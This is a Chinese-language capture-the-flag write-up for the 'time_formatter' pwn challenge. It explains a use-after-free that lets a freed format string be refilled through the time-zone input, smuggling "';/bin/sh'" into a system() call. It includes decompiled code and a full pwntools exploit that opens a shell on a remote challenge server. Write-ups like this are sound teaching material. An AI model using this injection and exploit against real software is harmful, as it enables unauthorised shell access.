题目描述：将UNIX时间转换为日期是很困难的，所以玛丽编写了一个工具来完成这个任务。

 

程序存在UAF漏洞，当选择exit然后不退出时，程序仅仅free掉了两个指针，但没有置空

strdup也会调用malloc来为新字符串提供空间

因此考虑将

__int64 __fastcall print_your_time()
{
  char command[2048]; // [rsp+8h] [rbp-810h] BYREF
  unsigned __int64 canary; // [rsp+808h] [rbp-10h]

  canary = __readfsqword(0x28u);
  if ( format_ptr )
  {
    __snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)unix_time, format_ptr);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", command);
    setenv("TZ", time_zone_ptr, 1);
    system(command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

这里面的format_ptr修改为我们想要的内容，从而执行system(/bin/sh)

为此需要封闭前后引号，同时在前面加上分号

注意到直接输入format时会进行过滤，因此考虑将其free之后再调用set_time_zone输入

exp如下：

from pwn import *

#io = process('./time_formatter')
io = remote('111.200.241.244', 63456)

io.recvuntil('> ')
io.sendline('1')
io.recvuntil('Format: ')
io.sendline('a' * 10)

io.recvuntil('> ')
io.sendline('5')
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N')

io.recvuntil('> ')
io.sendline('3')
io.recvuntil('Time zone: ')
io.sendline("';/bin/sh'")

io.recvuntil('> ')
io.sendline('4')

io.interactive()